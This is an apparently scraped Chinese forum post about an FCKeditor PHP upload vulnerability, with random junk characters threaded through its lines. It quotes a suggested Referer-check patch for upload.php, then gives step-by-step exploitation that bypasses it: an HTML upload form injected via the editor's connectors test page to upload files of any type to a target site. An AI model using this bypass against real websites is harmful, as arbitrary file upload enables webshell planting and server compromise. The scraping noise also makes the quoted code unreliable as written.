漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php! b/ g3 O4 }2 s9 O' T
网上给出的修复方案是3 p# k! V9 F1 U! S: o, w
修复方法,删除FCK编辑器用其他的编辑器0 y$ o7 a8 L) ~# J9 E
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件* e$ U5 ?, [+ ~7 ?) d
在
+ L3 P- o( F0 H% w1 L0 Crequire(‘config.php’);$ X( J* N2 b$ H6 W: J3 i s
require(‘util.php’);
6 F! P7 N3 N0 c! k7 y, J的下面添加以下代码—————————–
8 ^- I1 ?, {% W; w//防止外部提交1 t" M9 O& T/ K8 ?6 |, V
function outsidepost()9 P% h# H8 i# L: K- X. V
{3 |( i; a# @" M- ^5 a
$servername=$_SERVER['SERVER_NAME'];
9 g( i w- C, i! |& a7 z$sub_from=@$_SERVER['HTTP_REFERER'];
& H @3 ~/ \! i$sub_len=strlen($servername);
! u" S0 c; g4 R* Z$checkfrom=substr($sub_from,7,$sub_len);' \+ M1 `4 m0 D3 Y
if($checkfrom!=$servername){( l% A9 P' _- Z0 O# S3 o
echo(“you don’t outsidepost!”); M& c# A4 D( U" |& v" o9 S7 k
exit;2 l: @4 v7 u& N; G
}1 p0 G3 R# D& }, [& Z
}
- \% O( _+ {# J7 ~' ]6 `* @* ioutsidepost();4 b0 T) d9 O) k5 f9 E8 O8 y
防止外部提交,但是没有防止内部提交,
3 I! f, P; ~, N9 h8 @! G. B利用方法:! M) c+ K* N7 u e
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
( U9 |( B6 |1 m9 K2,在Current Folder 框输入! l! M8 ?1 {3 W3 q# t3 d/ [6 o. V' B
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>- V7 `2 ]: B% D$ p1 `
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。0 X# ~( \" a5 w5 i0 M2 q9 [
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |